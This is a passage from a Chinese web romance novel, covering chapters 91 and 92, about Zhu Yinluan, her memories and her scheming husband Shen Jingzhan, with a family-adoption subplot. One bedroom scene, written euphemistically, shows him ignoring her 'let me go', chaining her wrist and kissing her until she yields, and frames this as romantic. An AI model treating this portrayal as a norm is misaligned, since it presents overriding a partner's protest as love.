说着他立马就让小丫鬟和婆子们把朱夫人给拉 下去,又到祝吟鸾和沈景湛面前谄媚笑道,说要请两人到花厅去坐。 朱夫人见他这副样子,恨得扑上来抓住了他,“祝常,你想要独善其身不可能,你害了我的檀儿,如今想要效仿卫家,将我们母女弃之不顾,你休想!” 期间朱夫人的眼神愤恨看向祝吟鸾,但她看过来的一瞬间就被沈景湛给吓了回去。 “松开。”祝大人要走,朱夫人死死拽着他,“你若是舍弃我们母女,我就算是死,也一定会拉着你陪葬!” “你疯了是不是?!来人呐,快些将这个疯妇给带下去,找郎中来看,把她锁起来,不要再让她出来了,免得丢人现眼。” 祝吟鸾已经不想看了,“我们走吧。”她看向沈景湛。 “好。”男人给她拢了拢斗篷,带着她离开。 祝吟鸾今日来祝家,主要是为了找回她曾经的记忆,就算是找不回来了,也想看看有没有什么相熟的物件。 出了正厅之后,沈景湛问她怎么不好奇,他如何会答应祝大人的请求? 祝吟鸾这才想起来这个茬,适才都被朱夫人给转移了思绪了。 她顺着反问沈景湛究竟是为何? 男人说她似乎不在意,是已经很相信他了么? 的确是的,也不知道从何时开始,她似乎对沈景湛开始相信了起来。 再也不像很久之前,听到他掺和祝家的事情,一脸着急,甚至开始哭着求他不要去管这件事情了。 这是信任吗? 她觉得好像是的。 如若不是,她为何这样放心了? “没有。”祝吟鸾口是心非。 看穿她心中所想的男人抬手捏了捏她的鼻尖,“鸾儿不在意,那我便不说了。” “你说啊。”她停下来催促他。 沈景湛又是忍不住碰了碰她的面颊,祝吟鸾看到男人冷白腕骨之上的.锁.环擦痕。 似乎是她昨日挣扎,企图异想天开将锁.环给扯坏时候留下的痕迹。 原先都没有发现,是沈景湛抬手,她方才留察到。 沈景湛的身上有一些早年上战场留下来的伤疤,但他示人之处总是白玉无瑕,瞧不出他有何处不好。 现如今却莫名添了许多处了。 他手腕之上的咬痕,脸上的巴掌印,还有腕骨留下的伤痕。 意识到她看得有些许走神,怕沈景湛追问,祝吟鸾忙不迭收回了视线,都不等他说,直接就走了。 沈景湛身高腿长,她快步走,可他轻而易举就追上她了,走得恣意散漫,真真是闲庭信步。 祝吟鸾用余光扫着男人的影子,脑海当中忽而划过一些熟悉感。 她忽而一顿似乎感觉自己曾经和沈景湛这样走过似的。 但是有吗? “鸾儿想起来什么了?”闲庭信步的老狐狸轻声询问。 祝吟鸾说,“我觉得有些许熟悉,就好似过去与你这样一前一后走着,但我真的已经记不起,再回想不到了。” “以前的确经常这样。”沈景湛忽而松口告知。 祝吟鸾都觉得奇怪,“你愿意告诉我了么?” “不是说不愿意同我讲。” 沈景湛轻笑了一下,却没有继续多说了。 祝吟鸾等他的下言没有等到,过了一会,沈景湛跟她说起前在提的事情。 他问她想不想看祝大人竹篮打水一场空? 几乎是顷刻之间,祝吟鸾就明白了沈景湛究竟要做什么。 他只是假意答应,而后再翻脸不认。 这个法子的确是好,可她又不免担心,“祝家如今萧条寥落,只怕我父——” 她不想再叫祝常为父亲,一时之间居然忘记改口了。 “他恐怕不会那么轻易上当。” 沈景湛却不在意,“祝家如今还有跟我谈判的条件么?” 祝吟鸾一顿,也是啊。 她便也没说什么了。 因为府上的银钱短缺,祝家的丫鬟和仆妇都被打发了大半,倒是也有伺候的人,且留下来的人祝吟鸾多数都认识,还都是欺负过她的人。 这些人之所以被留下来,基本上都是祝家积年用久的老人了,也都是朱夫人的心腹。 此刻哪里还敢凑上前来,恨不得躲远一些,免得祝吟鸾找她们的麻烦。 但也有一个小丫鬟,壮着胆子到了祝吟鸾的前面,没有唤她三小姐,而是叫世子爷和世子少夫人。 祝吟鸾看着她面生,眉眼透着机灵,并没有过多询问。 对方问她可是要去她从前的院子。 祝吟鸾说是。 “少夫人有所不知,您从前的院子已经不在了。” “不在了?”祝吟鸾疑惑。 小丫鬟说是,被朱夫人改成了下人房。 即便是这小丫鬟如此说,祝吟鸾还是过去看了看,真到了苑子前面见到了今非昔比的庭院,已经挂上了下人房的牌子,她叹一口气。 “鸾儿喜欢这里吗?”沈景湛见她叹息,温声问道。 “不喜欢,只是想来看看。” 上一次来似乎还是长姐跟骆家和离的时候,但那时候没有人在意她,她自然也就没有留在祝家。 也幸而当时没有留下,否则只怕是住的地方都没有了。 “既然不喜欢,那就不必在意。”他抬手摸摸她的发,“鸾儿值得京城最好的。” 最好的。 她值得京城最好的。 从来没有人这样跟她说过,祝吟鸾想到沈景湛带她去的那苑子。 是他在外的宅子,环境清幽,庭院雅致,期间檐设林立错落,令人心旷神怡。 他昨日还跟她说,他所有的一切都是她的。 沈景湛的那座宅子比沈家的占地位置都还要好,距离皇宫很近。 距宫内近的地方已经无法用寸土寸金来形容了,非得是有权有势才能够拿下。 更何况他的宅子那么宽广清幽。 也难怪他往前不喜欢回侯府,在那地方可是清净。 “鸾儿若不想去看,我们便回吧?”见她神情思索,担心她触景伤情,沈景湛劝慰道。 祝吟鸾最后又看了一眼面目全非的院子,点点头转身走了。 绕过花厅往另外一边长廊回去,倒是没有碰到祝大人,依稀还是可以听到前厅吵闹的声音。 看来,还在闹。 祝吟鸾以为这一趟要无功而返了,可她上马车忽而想到了很多年前她招的那一场寒,起的高热。 是长姐将她推入雨中,然后她淋了雨水,便病了。 那一次以后,她忘记了许多事。 所以她和沈景湛相关的事情,要追溯到那时候之前么?【你现在阅读的是 】 90-96 第91章 第91章渴望他接着吻她。 祝吟鸾的思绪深入,动作变有些许缓慢。 马车动了之后,沈景湛问她在想什么呢? 祝吟鸾还在游神,视线放到了沈景湛的脸上,无意盯着他许久。 是男人深邃的瞳眸叫她缓缓回神。 每回跟沈景湛对视,她总是会率先败下阵来,在这世上,应当极少有人能够顶得住沈景湛的凝视,祝吟鸾已经不知道说些什么为好了。 但这一次她决定不再三缄其口,而是跟沈景湛陈情,她曾经做过许多梦。 “什么梦?”驾马车的人是沈景湛的得力随从,马车在京城街巷中行走,依然不显颠簸。 沈景湛给祝吟鸾倒了一盏她喜欢的凝露水,祝吟鸾两只手接了过去。 抿了一小口后缓缓跟他说起她做的梦,“在卫家的时候,我便时常做这样的梦了。” “起初我以为只是一个寻常的梦境,梦里的男子” 她还以为是卫如琢,可渐渐的,区别实在是太明显了,卫如琢没有梦中的男子高大,胸膛的身量卫如琢都比不过。 后来她意识到不是卫如琢之后,便以为是她真的太想要一个孩子了,才会做那样的梦境。 却没有想到,再后来居然还是会重复做有关“那个男子”的相关梦境。 她无法对人启齿,只能埋藏 在心里,现如今对着沈景湛说出来,居然有种如释重负的感觉。 “鸾儿为何会以为是我?” “在你没有和我说这些事情之前,我我每次靠近你,心里总有种莫名其妙的熟悉感。” 男人微微往后一仰,他用手撑住头颅,歪着头看她,又是恣意慵懒的神态,少了清冷,多了些许惑人。 祝吟鸾瞧着他“祸国殃民”的样子,视线微微挪开了一些,她的手指无意识扣弄着盏沿。 “所以这就是鸾儿与我避之不及的原因吗?” 他还在笑,只是轻微的淡笑而已,祝吟鸾却觉得心痒。 真的不怪那么多京城贵女对着沈景湛前仆后继。 他便是没有钱财权势,流落在外,定然是能够引起众贵女为他争相抢夺。 “又走神?”他等了一会,没有听到她的回答,抬手捏了捏她的下巴,微微晃动。 祝吟鸾轻咳一声,拂开他的手,将她的视线挪开。 男人的眼神却始终追随着她的侧脸。 瞧着她回避他的动作,佯装无事当中又透着丝丝的羞赧。 即便是已经身怀六甲,有过无数次的亲密,她却总是跟未出阁的姑娘一般,多瞧一会,看上几眼便面红耳赤,再接着瞧得过分一些,就要抬手打人了。 但若说是打,自上次以后,她也没有打过,那一内室的物件都没有用上。 祝吟鸾的耳尖有些微微红,她一紧张便又开始下意识抿咬唇瓣。 “我没有走神”好一会,祝吟鸾来了那么一句。 她莫名较真的样子真是十分的可爱,沈景湛想亲她嫩白如玉的侧脸,又怕她恼了,不肯接着往下说了。 毕竟,今日她好不容易跟他稍微解开了嫌隙,愿意对着他敞开心扉。 他不能急功近利,纵然是要得寸进尺也不是在这个时候。 “嗯,鸾儿没有走神,你接着说。” 祝吟鸾回想方才说到什么地方,想起沈景湛说的那句话,她也反问,“我有对你避之不及么?” 那时候她还是卫家妇,沈景湛是外男,且他的声名大噪,在京城可是如雷贯耳,自然要跟他保持距离。 只是也没有到避之不及的地步吧? 至多就是避嫌。 沈景湛却十分肯定跟她说到有,“鸾儿避我简直如同洪水猛兽。” 这句话有些许耳熟,沈景湛先前就说过了吧? “在除病斋时,我救了鸾儿,你站稳了便立刻拉开距离,头都不敢抬。” 头虽然没有抬,侧颈耳朵却已经可以窥见羞赧的淡淡粉色。 “我还想问,那时候鸾儿可知道是我了?” 祝吟鸾转回很久之前,她和沈景湛在除病斋的相遇,那时候她没有看到沈景湛,但亦觉得他熟悉。 后面是他身边的人说什么世子爷,她才惊觉这个人是沈景湛。 言及此,祝吟鸾思绪一转,答非所问,“那你呢。” “你处心积虑与我偶遇,当时你是不是故意让我回忆那些” 他笑了一下,没有接话。 祝吟鸾转过去瞧了他一眼。 两人视线对视上了,沈景湛微微起身,朝着她这边挪过来些许。 祝吟鸾觉察到危险,往后退却而去,沈景湛却还是追逐向前。 她放下茶盏,搁置在两人中间的小几之上,借此来隔绝两人之间。 她心下紧张,还以为沈景湛会将放置在桌沿之上的茶盏给拿走,朝着她逼近,将她围困在角落,却没想到这一次他居然适可而止就停留在了不远处。 他这样瞧着她,祝吟鸾总有些许不祥的预感,很快她就知道自己为何会有这样的想法了。 因为沈景湛直问,“鸾儿觉得呢?” “我不知道,你的心思七歪八绕,我哪里能够猜得出来。” “怎么会猜不出来,我用几年布下的局面鸾儿都能够解,奉安公主查了许久的事情,鸾儿并没有动用人力,便自己琢磨清楚了,如何猜不出来?” “所以到底是不是?”她不掉入男人挖的言语陷阱当中。 良久之后,沈景湛也跟她直言,“不是。” “我并不清楚鸾儿已经做梦,甚至开始想起过往发生的事情了。” “梦里的一切是真的存在的吗?”这才是她绕来绕去想要问的。 沈景湛显然也是听出来了,他轻笑挑眉,“亦真亦假。” “哪部分是真的?哪部分是假的?” “鸾儿猜猜?”他又不肯说了。 祝吟鸾瞧了他一会,他还是不愿意说,正当她挪开视线之时,沈景湛启唇问,“所以在卫家之时鸾儿就对我起了念头?” 此话一出,祝吟鸾的嘴角忍不住抽了抽,什么叫做她在卫家之时就忍不住对他起念头。 话是这么说,那时候她其实的确是有过疑惑不解的念头,毕竟后面她意识到梦中的人不是卫如琢了却还总是做那样的梦。 犹记得当时很迷茫,她在想自己是不是因为卫如琢和长姐的事情,居然生出了想要越.轨的念头? 但这个念头出来没有多久,就被吓回去了。 后来说是阴差阳错,她也不太相信了。 反正她和沈景湛已经摊牌了,另外也是为了转移话茬,怕沈景湛继续这样靡靡缠缠的话眼子。 祝吟鸾问,“嫡母当时来找我要陪嫁,那些地痞流氓,你也有授意么?” “没有。”沈景湛告诉她他的确知道这件事情,但并没有唆使朱夫人这么做。 “后来在有司衙门邢大人——” 祝吟鸾的话还没有说完,沈景湛已经打断了她的话,他认真跟她解释,并没有跟邢大人同流合污。 “但” “但是什么?”祝吟鸾盯着他脸上的神色,企图找到他神色话语之间的漏洞。 只可惜瞧了许久,除却俊朗之外,完全看不出来男人的脸上,有些什么她猜想当中会看到的神色。 “但是我趁人之危,钻了鸾儿的空子是真的。” 在她走投无路的时候施以援手,将她诓骗嫁给了他。 的确可以说得上是趁人之危,乘虚而入了。 但祝吟鸾都不知道她是怎么了,她眼下居然能够心平气和同沈景湛说这些事情了么? 她自己都奇怪她不介怀,不生气了么? 或许是知道介怀与生气没用了。 气大伤身,且更改不了什么。 重要的是捋清了思绪,她不能跟沈景湛和离。 “鸾儿想知道的,我差不离都告诉你了,我想知道的呢?” “什么啊?”她看向他。 “在卫家之时,鸾儿对我就没有一点——” 沈景湛的话没有说完,祝吟鸾即刻打算,斩钉截铁,“没有。” “如此笃定,倒像是被我说中了恼羞成怒。”沈景湛居然在呛她的话。 祝吟鸾鼓了鼓腮帮子,略是没好气,“你以为谁都似你一般惦记谋算有夫之妇吗!” 沈景湛听了却不生气,他还笑,“鸾儿此言差矣,我只惦记你,不会惦记旁人。” 祝吟鸾的回击仿佛打在了棉花上,“” 见状,沈景湛越发低声笑开,祝吟鸾赌气似地背过身。 但在男人瞧不见的角落,她的眉梢也划过一丝松泛的愉悦。 却说是孟家这边,沈夫人有两人没过来,加上那日沈景湛的态度,孟夫人心里便隐隐约约有计较,这门亲事恐怕是不成了。 但又不甘心,毕竟沈家的门庭这么高啊。 正准备跟孟大人一道带着孟云上一次沈家的门,却没有想到,沈家的人居然来了。 还带了那么多的物件东西,且随便挑出一样都是贵重的东西。 若说是来提亲的,可又没带媒人。 孟夫人心里浮现出不好的念头。 这门板上钉钉的婚事,只怕是要黄了,否则怎么不带媒人来? 没想到一语成谶,沈侯爷开口也不曾绕弯子,入座之后,三两句便说清楚了来意,直言没这个亲家缘分。 孟夫人心中是止不住的惋惜啊,但又不知道应该怎么办,而后沈夫人又说要认孟云为义女。 一瞬间,孟夫人又欣喜若狂,前头的奚落一扫而空,孟家和沈家的姻亲虽然成不了,但是孟云若是成为了沈家的义女,有这样一位义兄照拂还愁什么啊? 沈夫人话都没有说完,孟夫人立马就接了话,生怕沈夫人反悔似的。 “侯爷侯夫人实在是言重了,即便是做不成亲家,咱们两家挂着亲也是可以的,别说什么欠不欠,这不是折煞我们吗?” 沈夫人在心里松了一口气,“如此,就要多谢夫人和大人体谅了。” 孟夫人和孟大人笑着道好说好说。 当日就让孟云给沈夫人和沈侯爷拜了亲,即刻改了口,唤上义父义母了。 高门世家只缺利益,这些贵重的物件不过就是人情往来的东西,孟家沾了一个亲,给沈家返了一份更厚的认亲礼。 风声总得放出去,敲定了在三日后,孟家人上沈家去吃认亲饭。 从孟家出来以后,沈侯爷 便去了京郊大营。 沈夫人独自回沈家,她放心不下祝吟鸾和沈景湛,叫送了东西过去的婆子问两人如何了? 那婆子说今儿祝吟鸾和沈景湛去了祝家。 “去祝家做什么?”沈夫人瞬间拧眉。 “奴婢也不清楚。” 沈夫人不好直接去问,想到沈侯爷说的那些话,她只得按捺下了担忧,吩咐婆子,“打听着。” “去祝家那边听听消息究竟是怎么回事?” “是,夫人放心。” 回了沈家,沈夫人打着查账的名义,纠察沈家的下人,看看有没有谁浑水摸鱼,顺带吩咐了婆子们置办采买三日后的认亲宴。 祝吟鸾和沈景湛那边,沈夫人亲自写了信笺,让贴身的婆子送过去。 这信自然是送给祝吟鸾,因为沈夫人很清楚递给沈景湛他绝对不会接。 让祝吟鸾去劝他是其一,其二嘛也是给祝吟鸾表个态度,告知她孟家这边的事情已经了结,最后又吩咐她在外好生保养身子骨,家里一切万安,不必忧虑。 入夜里,祝吟鸾已经沐浴好了,正在看沈夫人派人送来的信笺。 不只是信笺,还有一堆补品,以及珠钗绸缎。 这些东西昨日才送来了,今儿又送,祝吟鸾由衷在心里感慨沈夫人的大方。 她也真真切切放下了心,那日早膳不欢而散,沈夫人似乎没有放在心上。 沈景湛出来的时候,她还在看。 他已经很清楚信笺上面都写了什么,却佯装不知问了她。 祝吟鸾跟他陈述了一遍。 听着她的温声软语,瞧着她烛火映照之下乖怜的神态。 沈景湛根本没有听清楚她在说些什么。 只觉得她不施粉黛的样子真柔美好看,粉润饱满的唇瓣翕动,看起来很好亲的样子。 “” 祝吟鸾念完了也不听沈景湛给个回话,抬头一看,撞入男人幽深无比的神色。 他的视线定定落到她的脸上,是她很熟悉的事情要发生的前兆。 祝吟鸾清咳了一声,企图唤醒沈景湛的思绪。 可男人还在走神,她无奈拔高了声音,叫了他,“我说的你可曾听清了?” “嗯。”他分明都没有再听,居然还好意思应了一声。 分明就是敷衍。 男人眼底的暗色没有退却,他落坐到她的身侧。 清冽的气息席卷而来,祝吟鸾也不动声色往旁边挪,想要借此拉开两人之间的距离,可老狐狸棋高一着。 他伸手按下,大掌从后面绕过来,径直就将她整个人给圈到了怀里。 虚虚抱着她看她手里的信笺。 这一会,祝吟鸾整个人的鼻端,全都是他身上沐浴之后传来的清冽气息。 他宽阔的胸膛拢着她,并没有直接抱着她,但隔着薄薄的中衣,祝吟鸾已经感受到了他的胸膛的温热。 祝吟鸾忍不住口干舌燥。 她干脆就把手里的信笺递给沈景湛,劝他松手只怕不成,捂着肚子猫着身子就要钻出去。 可她又是没有动作,便被沈景湛给包住了手。 祝吟鸾,“” “方才听得不是很仔细,鸾儿再给我念一遍?” “信笺近在眼前,你自己瞧。”祝吟鸾抗拒着缩动她的手。 可就在她快要挣脱出来的时候,沈景湛又重新攥住了她。 一次还可以说是巧合,两次以后祝吟鸾哪里还不明白。 她生气了,转过去,瞪着他,“你在做什么!” “松开我。” 沈景湛却还是没有松开她,垂眸端详着她的小脸。 在祝吟鸾察觉到他的距离越发压下来的时候,她偏头,却被沈景湛掐着下巴吻了下来。 祝吟鸾呜呜咽咽,要辩驳的声音全都被沈景湛给吃了。 只有一些语不成调的嘤咛冒出来。 这张轻飘飘的信笺掉了下去。 沈景湛吻得很深,他又变得进步厉害了,三两下,祝吟鸾就已经气喘吁吁。 趁着她不防备。 他护着她的腰肢,俯身穿过她的腿弯,给她抱上了柔软的床榻。 沈景湛动作期间,袖风席卷,烛火被打灭了,幔帐也随之垂落。 祝吟鸾撑着手往后缩,但身下的被褥实在是太柔软了,她感觉自己陷到了云雾里。 还没有适应寻到安全的地方,然后腕骨上一凉。 祝吟鸾在心里暗道不好。 “你做什么又锁我?”她有些许恼了。 呼吸都还没有平定,她说话的语调有些许软得厉害。 “你——”话还没有说完,就被沈景湛给吻了回来。 今日的春雨,不疾不徐的落下。 祝吟鸾在柔和春雨当中渐渐动了心意,居然慢慢忽视她手腕之上紧扣两人之间的存在。 在位置变化当中,锁.链.不禁发出了碰撞的响声。 她竟然也觉得悦耳了。 难不成是因为有了旁的 娇柔与强势的碰撞,所以形成了强烈的对比。 才叫她觉得锁.链.发出的声音是可以接受了,不令人那么面红耳赤了么? 她不知道。 她抗拒沈景湛与她亲密,在开始之前也的确是抗拒的。 但是一吻上之后,在他的纠缠之下,她渐渐软了。 整个人的身体就好像是不受她的思绪控制,被他勾出了最深处的瘾,便是现如今怀着孕,都想要和他亲密。 渴望他接着吻她。 渴望这场已过暮春时节的雨水,能够下得再大一些。 她想淋雨,最好是能够浸.润全身上下,里里外外,全部所有。 在这场雨还没有落下之前,她已经有意无意怀念起了受雨沐浴的感觉。 就连整个人的足趾都蜷缩到了一起,被褥也揉皱了。 “” 固然是已经做好了准备,可春.雨来临的那一刻,她还是觉得轻颤,觉得舒坦。 这是沈景湛给她的,任何人都给不了她的。 她再也分不清楚,究竟是喜欢他这个人,还是只喜欢跟他行房了。 好像都很喜欢甚至是有些想哭的冲动。 似乎已经哭了吧。 她哭过许多次了。 男人留意着她的情绪,低头吻去她脸上的泪珠,轻啄着她的鼻尖。 祝吟鸾睁眼,隔着朦胧旖旎的视线,瞧见男人俊逸的侧脸。 温柔,沉醉,是为她的。 这个夜晚格外的绵长。 翌日,久违的清静。 祝吟鸾睡到日上三竿,她起身的时候,身上有淡淡的药香味,还有男人身上的清冽气息,腰上放着男人的大掌。 自打成亲以后,沈景湛短暂陪了她一些时日,后面便一直在忙碌,这还是头一次她醒过来,沈景湛居然在她的身侧。 虽然前两日也在,但这一日感受完全不一样。 祝吟鸾垂眸不动,却没有想到沈景湛也醒了,并且居然知道她醒了。 他问她身上疼不疼,饿不饿。 祝吟鸾好一会没说话。 “生气了吗?”他蹭着她的鬓发。 有些痒,祝吟鸾开始躲避。 “不要.弄.我了” 沈景湛道了一声好,“都听鸾儿的。” 转而问她今日想吃些什么。 祝吟鸾答非所问,“你今日也不用上朝么?” “暂时不用。” 暂时不用是需要到什么时候? 她没有说出来,沈景湛却像是会读心术一般,“要等事情卷起了浪潮。” 事情卷起了浪潮? 他指的是什么事情?难不成是朝堂之上出了什么事情? 这些时日她一直在跟沈景湛纠缠,被他带到这里,就连明芽都没有得空说上几句话。 “鸾儿不喜欢我陪着你吗?” 祝吟鸾抿唇口是心扉不喜欢。 沈景湛用指腹轻点她的唇瓣,“骗人。” “鸾儿何时也学会骗人了?” “近朱者赤近墨者黑。” 男人闷笑,笑声低沉悦耳,“鸾儿的意思是跟我学的了?” “我没有说。” “你说了。” “我没有。” 两人似乎稚童一般争执起来。 “好,你没有。”沈景湛笑意加 深,点着头附和她,退步说都是他的错。 “本来就是你的错。”祝吟鸾嘴上这么说,背过身去时,唇角浅浅勾了起来。 又躺了许久,方才起来。 祝吟鸾没想到沈景湛居然还会下厨,不是说君子远庖厨么? 他怎么还会烧火烧饭呢? 动作之间行云流水,丝毫不见粗鲁,更是得心应手。 祝吟鸾看着他的动作除却好看,还有像是以前见过的感觉。 可怎么见过呢? 那股熟悉感再也琢磨不透更清楚的了。 祝吟鸾当下问,“我们以前这样过吗?” “什么这样过吗?”他故意曲解她的意思, “鸾儿说的这样是哪样?” 第92章 第92章他是她虔诚的信徒。 祝吟鸾左右看了看,小丫鬟和仆妇随从们都被他遣出去了,此刻就只有她跟他,幸而没有人听见。 但她依然静默无言以对好一会。 又一次忍不住在心里腹诽,她从前怎么没有发现沈景湛这么油嘴滑舌?反而觉得他是个谦谦如玉的公子。 她就算是眼瞎,心居然也盲了吗? 这已经数不清楚究竟是第几次了,她会生出这样的想法。 果然,看人不能够只看表象,越是美好的人与事物总是有蛊惑人心的厉害之处。 便讲此刻,沈景湛说那样的话,可看着他的举手投足,又是个具有良好修养的矜贵公子。 “世子爷觉得呢?”原本想要忍一忍,祝吟鸾又觉得忍无可忍,便这样回了沈景湛一句。 “我不明白鸾儿意思才问你,谁知你竟反问我。” “你真的不知道吗?”祝吟鸾看着他,也不跟他继续谈论这些不宜在朗朗乾坤,青天白日说的话茬了。 “你分明就知道,不要给我装糊涂,你是不是觉得我很傻很好欺负。” 沈景湛已经炖好了鲫鱼豆腐汤,一边盛出来一边跟她说绝无此意。 “不是这个意思,那你还说。”沈景湛即便是退步了,祝吟鸾也没有要轻轻放过他的意图。 “下次再也不敢了,少夫人不要生气可好?” “待我做完了饭菜,不如罚我青玉石砖,少夫人不消气,我就不起来,嗯?” “我才不要。”听到沈景湛说一个罚字,她便想到存在内室当中的刑.具,至今没有被处理掉。 她想让明芽偷偷拿去处理掉,可明芽说世子爷的随从吩咐了伺候洒扫的小丫鬟们,内室里的东西一应不许动。 除却他首肯了,便是少夫人叫人收拾都不行。 他的这个后手防备的可不就是她了? 沈景湛又是笑。 祝吟鸾不再搭话,以免又被他逗趣,只一味专心瞧着他炒菜。 以前她在卫家查账经常过后厨去,核对瓜果鲜菜肉食的数量,瞧瞧婆子们有没有欺上瞒下,弄虚作假。 那会子没在旁边看着婆子颠勺炒菜,主要是看看她们炒菜所使用的分量,有无虚报。 渐渐地,她也瞧出了一些门道,颠勺炒菜的手法,她自己也会一些。 所以眼下也能够看出来,沈景湛到底是真的会还是假把式。 他是真的会,且娴熟。 不论是火候,翻炒的力道,以及所用的佐料,都精准无比,已经炒好端上桌的饭菜,看起来色香味俱全。 今日天色很好,祝吟鸾看着男人的视线过于专注,在他回望过来的目光里,害怕跟他对视,索性就将目光给挪远了。 她见庭院当中的花叶迎着微风浮动,光影忽而变得悠然,心中渐渐宁静了下来。 好似,就这么过上了她想要过的日子一般。 但转念想想,的确也是这样。 已经过上了。 婆家和善,娘家和谐,小姑也明事理,她不用管太多的事情,腹中也有了子嗣,唯独她的夫君 抛弃他那些谋算和阴暗不谈的话,他是人中龙凤,京城的翘楚。 “可以用膳了。”祝吟鸾走神的期间,沈景湛最后一道菜已经端上了桌。 他先帮着她盛了饭,递给她,让她尝尝看。 祝吟鸾道了一声谢,尝了一口,味道比她想象当中的都还要惊艳。 没有想到沈景湛的手艺这样好。 见到她的眉眼露出惊艳之色,沈景湛也随之展颜。 祝吟鸾的第一口的确是惊艳,可渐渐的她越发察觉到了熟悉。 很熟悉,比方才看着沈景湛做饭炒菜的样子都还要熟悉。 这种熟悉已经不是眼熟了,而是她曾经在什么地方曾经吃过沈景湛做的饭菜。 以前吗? 她招寒起高热丢失记忆的很久之前,会是那会子么? 只是她总觉得脑海当中有什么错失的东西没有抓住,究竟是什么,她自己又说不上来。 见她垂眸在吃,略微走神,沈景湛也没有说些什么。 小半碗饭之后,祝吟鸾尝了沈景湛给她盛的汤。 方才到嘴里,忽而一顿。 她的脑子炸开了,终于知道这诡异的熟悉感从何而来。 当初她的生辰,明芽带着她去戏院班里吃到的那一碗长寿面,当时她也觉得熟悉,可无法捕捉那时候的熟悉,因为毫无头绪。 现如今沈景湛再让她吃他做的饭菜,她想到了那碗庆贺她生辰的长寿面。 当时排的戏是贺芳诞,戏班班主说是从排戏的人口中得知了她的生辰——毕竟明芽那会子整个人说了是她的生辰,想要对方能够松松口,被戏班班主给听去了。 那时候她便觉得疑惑,戏班班主就算是人好,也不至于好到这个份上吧? 原来是沈景湛的授意。 已经不用怀疑了,当初早就查到了他的头上,戏班班主忽而出来迎接她和明芽是沈景湛吩咐的。 只是那一碗长寿面,她没有细想过,会是沈景湛亲手做的。 吵得不可开交的时候他怎么不承认? 祝吟鸾用膳的速度越来越慢,差不离停了下来,沈景湛刚要问她是不是不合胃口。 祝吟鸾在他前面开口,他提到了长寿面的事情,问他那会子怎么不说呢? “都已经是过去很久的事情了,鸾儿怎么忽然想起来?” “所以,的确是你亲手做的长寿面,让戏班班主跟我说芳华无忧,岁岁安乐?” 他定定瞧着她,“鸾儿是生气我的隐瞒,还是” 感动? 她说是意外。 沈景湛很会瞧人的心绪,分辨人字里行间的意思,一针见血,“所以是都有吗?” 他又明知故问。 祝吟鸾不知道怎么回他的话,默了一会点头不是,说话也不是。 干脆就低头接着吃了,味道鲜美,好吃得她鼻尖微微酸涩。 有些许想哭了。 “” 她也说不上来她为何想哭,总之就是鼻尖酸涩。 沈景湛仔细瞧着她的反应。 祝吟鸾感受到男人的视线,她耸吸着鼻尖,将心理的酸涩给压下去,抬头之时,依然恢复了正常,“你这样瞧着我做什么,不用膳吗?” “鸾儿秀色可餐,比饭菜好——” 话还没有说完,就被面红耳赤的姑娘夹菜堵住了嘴。 她警告的意味蕴藏在眼眸当中,示意他不准再说话。 男人眨眼表示他清楚了。 无声对峙了好一会,祝吟鸾才缓缓拿开她的银筷,“” 不远处等着伺候的小丫鬟们瞧见主子们的亲密,忍不住捂着唇偷笑。 前些时日祝吟鸾跟沈景湛闹,吵得不可开交,众人都无比担心,现如今可算是和好如初了。 接下来几日,沈景湛陪着祝吟鸾在宅院这边歇息,请人来府上唱戏,带她看皮影,入夜了牵着她去逛京城的夜巷。 虽说都是京城人,但因为尊卑分明,男女有别,她对京城知之甚少,并不知道京 城还有那么多好玩的夜巷。 只清楚白日里京城喧闹异常,却不知夜里的京城别有趣味。 原来怀有身孕也可以出宅院,已经许了人家的女子可以跟着夫君去酒楼用膳,去茶斋品茶,书斋买喜欢的游本。 原来成了亲,也可以无比自由,想要做什么就做什么。 这已经超出了她原本心中的设想。 京城戏楼最好的雅座,祝吟鸾和沈景湛相对而坐,她往下看去,头一次感觉京城很大,也很小。 站到至高处,可以看得这么清楚,瞧得那么远。 就连吹拂过来的晚风都是微凉舒缓的,她寻不到那种油然而生的枯燥,过往祝家卫家束缚于她的一切都在京城的冬夜里封存消殆了。 有什么东西在轻轻破土而出。 是什么呢? 好似她自己,新的,宽敞了心绪,渐渐跟过往告别的祝吟鸾。 她有些明白沈景湛为何不告知她过往的事情,纵然是知道了又如何,总要往前看的,她要往前走,他在帮着她往前走。 对面的姑娘在看着京城大道出神的时候,男人的视线定格在她的身上。 一直在看着她。 卫家四年,她身上被蹉跎的消沉气影,总算是渐渐消失了。 依稀可见从前的样子,但跟从前又不太一样。 但都是她,不论怎么变,都是他喜爱的。 祝吟鸾将视线收回之时,撞入沈景湛的视线。 他总喜欢这样瞧着她,瞧不腻似的,倒叫她羞赧。 祝吟鸾吃了一口琼华糕,见沈景湛还在看着他,问他看什么? 他却说她好看,他喜欢看。 “京城美人如云,我算什么?” “在我心里,鸾儿永远胜过别人,谁都比不上你。” 虽是甜言蜜语,却也十分中听。 她眉眼微动,嘴上却说他乱讲。 “我说了实情鸾儿即便是不信,也不至于如此奚落我吧?” 见她爱吃琼华糕,沈景湛吩咐了身边的随从多买一份带回去。 “这些时日一直陪着我,果真没事么?” 思绪飘了回来,祝吟鸾问沈景湛。 “不着急。” 这将计就计,请君入瓮,可得给些对方一些喘息之机。 “鸾儿不必忧心我,不会有事的。” “果真?”今日她在京城隐约听到了一些风声,说是朝廷之上如今乱糟糟的,还说军中混入了奸细,朝廷的大将军们表面是巡查,实际上是抓人。 “果真。”他见她的杯盏见底了,给她倒了一些。 “婆母今日又来了信,让我们明日过府上去吃拜亲宴。” 她昨日已经跟沈景湛说过了,他反问她想不想去?若是不想去便不去了。 祝吟鸾自然得去,沈夫人率先给了台阶,她作为儿媳妇可不能恃宠而骄。 沈景湛却跟她说,顺心而为,凡事有他兜底撑腰,不必害怕。 “鸾儿想好要去了?” “夫君不想去吗?” “我想跟在鸾儿身边,你去我便去,你不去我便不去。” 说到这个,她又想到一桩有关过往的事情,当初卫明烟办的家宴,便在这时候问了。 沈景湛倒是坦白,“的确是为了见鸾儿一面才去的,可是” “可是什么?”她嫁给沈景湛也有些时日了,没有见过沈景湛去参加谁家的家宴,除非是必要的人情,否则他不会去凑热闹。 “可是你一眼都不看我。”男人说到这句话眉头微皱,好似委屈了。 祝吟鸾瞧着他略是委屈?的神色,“我怎么要看你?” “怎么不能看?” “我当时没有和离,你广负盛名,而我是是有夫之妇,若是频繁看你岂不是要招人口舌是非了吗?” “所以鸾儿是想看我的,只是碍于自己当时是有夫之妇,所以不敢看我?” 他一向很是会钻空子,这么说似乎没有错可若是承认,岂不是太羞了吗? 她才不要承认呢。 